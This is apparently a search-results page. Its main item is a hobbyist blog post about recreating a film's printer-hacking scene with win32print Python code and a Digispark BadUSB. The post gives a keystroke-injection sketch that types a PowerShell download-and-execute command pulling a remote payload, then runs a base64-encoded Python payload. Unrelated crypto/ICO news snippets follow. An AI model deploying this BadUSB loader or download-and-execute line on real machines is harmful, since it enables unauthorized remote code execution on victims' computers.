Search Results for: ico

How I recreated an iconic hacking scene exploiting several printers

How I recreated an iconic hacking scene exploiting several printers

From the movie “Who Am I — No System is Safe”

Backstory

I don’t know of other “hackers”, but I am a total n00b when it comes to
“must watch hacking movies/series”

Yeah. I do. Shut up.

The (pre) Plot

As I entered college, a friend of mine forced me to watch
“The Social Network” on the very second day, and frankly, I loved it!
I don’t know how it affected me, but I’m sure it added a cool GIF to my arsenal. (and you’ll see it, soon)

Thereafter, I’ve seen few. (I can’t forget Mr. Robot, dying for the fourth season)
Recently, I saw “Who Am I — No System is Safe

(subtitles saved my life, saw original (in Russian) aka without dubbing)

Benjamin — a lonely computer expert — meets the charismatic Max, and the two of them — along with Max’s friends — form CLAY, a subversive hacker group.

The Real Plot

I loved the movie, and like every movie or book I read, it was time to implement something from the movie to the real world that enhances my knowledge, experience or .. anything in between.
I do it with everything I see or read and I’ll try to share all those stories. soon.
Okay, moving right along. (a line from ‘The Social Network’)

I found the following portion very appealing.

The Fun, printers going crazy

How it all happened?

Here we go ..

The iconic “hacking” scene we all crave for

As I found this interesting, I started my search. I started reading about printers, how they communicate, which protocols are used for information exchange, past research papers on exploiting printers, and all that.

The Boring Reconnaissance Corner

Some languages/protocols that our printers speak :

  • SNMP
  • PML/PJL
  • PostScript
  • PRESCRIBE
  • LPD
  • IPP
  • Raw
  • SMB

I found ton of interesting things, I bricked my home printer, opened all the parts, ripped the circuitry, and had a lot of fun, and I’ll share my findings.

Late Mr. Home Printer

But, for now, let’s concentrate on the title, which is, re-creating the above scenario in our real world. As you can guess, there are many printers, and, there are many languages, so, there can be drama, a hell lot of drama.

And as you’re 1337 HaX0r, your “exploit sandwich” should work. Period.

Solution ?

Market Share of various major Operating Systems

Bingo. (Benjamin’s favorite word in the movie)

Windows to our rescue

As it has the major share, let’s get our hands dirty abusing windows.
As we can visualize the underlying architecture, the printer talks/interfaces to the computer via it’s own preferred language (PJL, PML, PostScript …), then the computer process it, infers from it.

But, when we click the “print” button, to print our pout-selfie, do you know what happens, in crux ?

My drawing, I know, I am a born artist.

So, instead of attacking the (printer → computer) interface, why not look into the (application → computer) interface ?

Attacking the API

Or maybe just low level interfacing?

Instead of writing a bunch of native C++, why not abstract this layer as well ?
Let’s use a python wrapper that encompasses majority of low level win32 protocols.

After tinkering with win32api for long, scratching my head a couple of times, learning many a things about the win32 protocols, wrappers, COM objects,
I also came to know about another module, named win32print.
After a lot of digging, I finally created the gem, the crown jewel, the
l33t c0d3!

win32api.ShellExecute (
0,
“printto”,
open (tempfile.mktemp (“.txt”), “a”).write (“Inject this!”),
‘“%s”’ % win32print.GetDefaultPrinter (),
“.”,
0
)

This is my Eiffel Tower. This is my Rachmaninoff’s Third. My Pieta. It’s completely elegant, it’s baffling-ly beautiful, and it’s capable of making any printer connected to windows system go crazy. I call it “The Ex-Wife.”

(a reference from Iron Man 2, Thanks Justin Hammer)

Code Tear-down

We can break the code into three major components :
ShellExecute function (Performs an operation on a specified file)
printto (Object Verbs)
win32print API and GetDefaultPrinter function

ShellExecute Function

ShellExecute is the code equivalent of a user “double-clicking” a file icon. It causes Windows to work out what application the document file is associated with, launch the program and have it load the document file.

By using ShellExecute, you don’t need to know the name or location of the program that’s registered to a particular file type. Windows takes care of that for you. For example, you can ShellExecute a [.PDF] file and, so long as Reader, Acrobat or some other PDF-reading app is installed, Windows will launch it and load the PDF for you.

Object Verbs

Each command on the shortcut menu is identified in the registry by its verb. These verbs are the same as those used by ShellExecuteEx when launching applications programmatically. (Quick Reference — Launching Applications.)

A verb is a simple text string that is used by the Shell to identify the associated command. Each verb corresponds to the command string used to launch the command in a console window.

List of verbs

Wait a minute! Where’s the actual deal ? The “printto” verb isn’t there in that list!

The printto verb is also canonical but is never displayed. It allows the user to print a file by dragging it to a printer object.

“printto” Object Verb

Right-clicking an object on Microsoft Windows 95 and later systems usually pops up a shortcut menu. This menu contains a list of commands that the user can select to perform various actions on the object. This section is an introduction to shortcut menus for file system objects.

  • Shortcut Menus for File System Objects
  • Shortcut Menu Verbs
  • Extending the Shortcut Menu for a File Class
  • Extending the Shortcut Menu for Predefined Shell Objects
  • Registering an Application to Handle Arbitrary File Classes
  • Extending the New Sub-menu

Kudos : — Mat Baker & Michael “micolous” both helped us to see the under-documented printto verb which takes the printer name as a parameter, enclosed in quotes if it contains spaces.

Extending Shortcut Menus

win32print API

Q-1. Why we need this ?
Answer : — We need an API which can get us access to access the printer at low level.
Q-2. What we need ?
Answer : — Tim Golden’s win32print module looks perfect!

After reading the code, seeing the documentation, I googled and read about various parts/functions.

Module win32print

Get ready for major remodel, fellas!

(another one from Iron Man 2)

Printing text is cool, but what if I want the ditto scene, the ditto document ?

Everybody wants a Ditto! (in Pokemon, obviously, yeah, even Ash Ketchum, see EP037)

Printing document

The win32print module offers (almost) all the printing primitives you’ll need to take some data and throw it at a printer which has already been defined on your system. The data must be in a form which the printer will happily swallow, usually something like text (which we used before) or raw PCL.

Let the hacking begin

The weapon I was talking about 😉

Printing Documents

import win32ui
import win32print
import win32con
hDC = win32ui.CreateDC ()
hDC.CreatePrinterDC (win32print.GetDefaultPrinter ())
hDC.StartDoc (“Injected Doc”)
hDC.StartPage ()
hDC.SetMapMode (win32con.MM_TWIPS)
hDC.DrawText (“HELLO WORLD”, (0, 1440 * -1, 1440 * 8, 1440 * -2), win32con.DT_CENTER)
hDC.EndPage ()
hDC.EndDoc ()

Printing Images

import win32print
import win32ui
from PIL import Image, ImageWin
hDC = win32ui.CreateDC ()
hDC.CreatePrinterDC (win32print.GetDefaultPrinter ())
bmp = Image.open ("whoami.jpg")
hDC.StartDoc ("whoami?")
hDC.StartPage ()
dib = ImageWin.Dib (bmp)
dib.draw (hDC.GetHandleOutput (), (0,0,(hDC.GetDeviceCaps (110), hDC.GetDeviceCaps (111))[0],(hDC.GetDeviceCaps (110), hDC.GetDeviceCaps (111))[1]))
hDC.EndPage ()
hDC.EndDoc ()
hDC.DeleteDC ()

Demo Time!

NOTE: I did all my tests on an isolated laptop which is not connected to printer. So, instead it diverted to “Save PDF” method, that’s why running payloads prompted to save the generated data instead of directly printing it.

https://medium.com/media/cc72c2b1aa406c6dc57307b5256786ac/href

Don’t believe those? Great! Go and script it yourself, just don’t print, or maybe print just one (and no Pewdiepie fever, please). Save paper. 

Making it even cooler than that Hollywood movie scene!

How about doing all of it without touching any keyboard or thinking of any “programmical” thoughts?

The Prodigal Son Returns!

(this one from Iron Man 3)

Time to introduce our bad boy, the BadUSB! (or maybe Rubber Ducky?)

Actually, it’s none of the above, neither it is the original BadUSB which utilized flaw in Phison 2251–03 (2303) chip-set to patch it with custom firmware making it a programmable killing machine just like USB Rubber Ducky but with a boring cover with no yellow ducks 🙁

Hold on, let me search my so called ‘lab’ as I am home (summer vacations), … Annd, I found it!

Yes, I watched that Black Hat video in the same year (2014), got crazy as Hak5 doesn’t ships to India (still, checked today) and it was much cooler (technically), broke every pen-drive I had lying around and finally found one, (maybe two) having the same chip-set.

Here’s one similar chip-set, desoldered

Ah, memories ❤

How you used to connect this? (just in case..)

Found in folders, connections to a normal USB, because I broke the USB Male Connector

So, WHAT IS IT ! ?

It’s an ATiny85 (can also use Arduino Uno r3, but it’ll not camouflage as a necklace) micro-controller with patched HID ( human interface device) firmware loaded onto it, making it something like the above two serial killers. (but cheaper, and more less — more technical, less than Phison firmware patching, more than grabbing a USB Rubber Ducky)

The Staged Payload

The code running inside our micro-controller acts as a stub loader.

#include “DigiKeyboard.h”
#define KEY_UP_ARROW 0x52
#define KEY_DOWN_ARROW 0x51
#define KEY_LEFT_ARROW 0x50
#define KEY_RIGHT_ARROW 0x4F
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.print(“cmd”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(“powershell iex ((New-Object System.Net.WebClient).DownloadString(‘http://10.10.10.1:8000/payload.txt'))");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}

Final Stage Payload

py -c “import base64;exec(base64.b64decode(‘aW1wb3J0IHdpbjMydWkNCmltcG9ydCB3aW4zMnByaW50DQppbXBvcnQgd2luMzJjb24NCklOQ0ggPSAxNDQwDQpoREMgPSB3aW4zMnVpLkNyZWF0ZURDICgpDQpoREMuQ3JlYXRlUHJpbnRlckRDICh3aW4zMnByaW50LkdldERlZmF1bHRQcmludGVyICgpKQ0KaERDLlN0YXJ0RG9jICgiSW5qZWN0ZWQgRG9jIikNCmhEQy5TdGFydFBhZ2UgKCkNCmhEQy5TZXRNYXBNb2RlICh3aW4zMmNvbi5NTV9UV0lQUykNCmhEQy5EcmF3VGV4dCAoIkhFTExPIFdPUkxELCBieSBAMHg0OHBpcmFqIiwgKDAsIElOQ0ggKiAtMSwgSU5DSCAqIDgsIElOQ0ggKiAtMiksIHdpbjMyY29uLkRUX0NFTlRFUikNCmhEQy5FbmRQYWdlICgpDQpoREMuRW5kRG9jICgp’))”

Demo

Victim’s PC

https://medium.com/media/75258a8a2750e44d5f29f6661554dfdc/href

Attacker’s PC

Bingo!

About the Author

Piyush Raj is now a 18 year old college freshmen currently working with OWASP Foundation as a Google Student Developer or say GSoCer. He’s past Google Code-In Contribution Winner, and loves playing football.

You can connect with him over LinkedIn, Twitter, Instagram

Social Jazz.

References

(I know it’s Medium, but eh.)

  1. Who Am I — No System is Safe
  2. ffmpeg -ss 00:00:00 -i input.mp4 -to 00:00:03 -c copy output.mp4
  3. http://zulko.github.io/moviepy/install.html
  4. https://www.python.org/
  5. http://timgolden.me.uk/pywin32-docs/html/com/win32com/HTML/QuickStartClientCom.html
  6. Printer Protocols — LPD, IPP, RawSMB
  7. Printer Languages — PJL, PCL, PostScript
  8. https://docs.microsoft.com/en-us/windows/desktop/shell/launch
  9. mhammond/pywin32/win32print
  10. https://bulbapedia.bulbagarden.net/wiki/EP037

https://medium.com/media/3c851dac986ab6dbb2d1aaa91205a8eb/href


How I recreated an iconic hacking scene exploiting several printers was originally published in Hacker Noon on Medium, where people are continuing the conversation by highlighting and responding to this story.

ICO craze birthed 1,000 millionaires but cryptoasset code often failed to include promised investor protections

ICO craze birthed 1,000 millionaires but cryptoasset code often failed to include promised investor protections

The computer code of the majority of cryptoassets that raised the most funds through initial coin offering (ICO) token sales failed to deliver on whitepaper promises to protect investors. That’s the finding of two academics,…
The post ICO craze birthed 1,000 millionaires but cryptoasset code often failed to include promised investor protections appeared first on Ethereum World News.

Facebook’s ‘Silicon Valley Coin’ Is A Leap Towards Surveillance Capitalism

Facebook’s ‘Silicon Valley Coin’ Is A Leap Towards Surveillance Capitalism

The full list of partners working with Facebook to host its new crypto stablecoin has gone public – and already sparked fears of mass data collection. Facebook Crypto Nets Giants Of User Data Published by cryptocurrency news outlet The Block June 14, the partners for the project variously dubbed ‘Libra’ and ‘Facebook Coin’ make for revealing reading. We know that Facebook is charging $10 million to run nodes for its cryptocurrency. Bitcoinist even uncovered a

The post Facebook’s ‘Silicon Valley Coin’ Is A Leap Towards Surveillance Capitalism appeared first on Bitcoinist.com.

Redeeming ICOs: Understanding the New DApp System as Explained by ADN’s Einstein

Redeeming ICOs: Understanding the New DApp System as Explained by ADN’s Einstein

Recent news broke about the publishing of ADN’s official press releases on cryptocurrency news outlets like CoinTelegraph, CCN, and BitcoinMagazine. This was soon followed by announcements revealing the successful listing of ADN Coin on premier cryptocurrency exchanges like BitForex and Coinbene. Final preparations are underway, and many in the ICO community are anticipating the launching […]

The post Redeeming ICOs: Understanding the New DApp System as Explained by ADN’s Einstein appeared first on AMBCrypto.

Italy’s Planned Mini-BOTS Draw Comparisons To ‘ICO Utility Tokens’

Italy’s Planned Mini-BOTS Draw Comparisons To ‘ICO Utility Tokens’

italy mini-bots

Doubts were raging over Italy’s plans to issue a new currency called ‘mini-bots’ this week after it appeared it would have nothing whatsoever backing its value. Italy’s Paper Backed By Nothing Italy, which is suffering from a crippling debt crisis, is constantly seeking a way out of the red, but its populist government has failed to strike any form of deal with the European Union. The right-wing administration made bold spending promises to the electorate

The post Italy’s Planned Mini-BOTS Draw Comparisons To ‘ICO Utility Tokens’ appeared first on Bitcoinist.com.

Telegram Set to Go Ahead With ICO on This Crypto Exchange

Telegram Set to Go Ahead With ICO on This Crypto Exchange

How to Successfully Use Telegram to Build a Strong Crypto Community

Telegram has reversed its earlier decision to not carry out a public sale of its native token Gram by announcing a listing on the Liquid cryptocurrency exchange. U-Turn for Telegram? In a press release issued on Tuesday (June 11, 2019), the messaging platform declared that it would be going forward with a public initial coin offering (ICO) for its Gram token. The private phase of the sale garnered significant attention back in 2018, raising $1.7

The post Telegram Set to Go Ahead With ICO on This Crypto Exchange appeared first on Bitcoinist.com.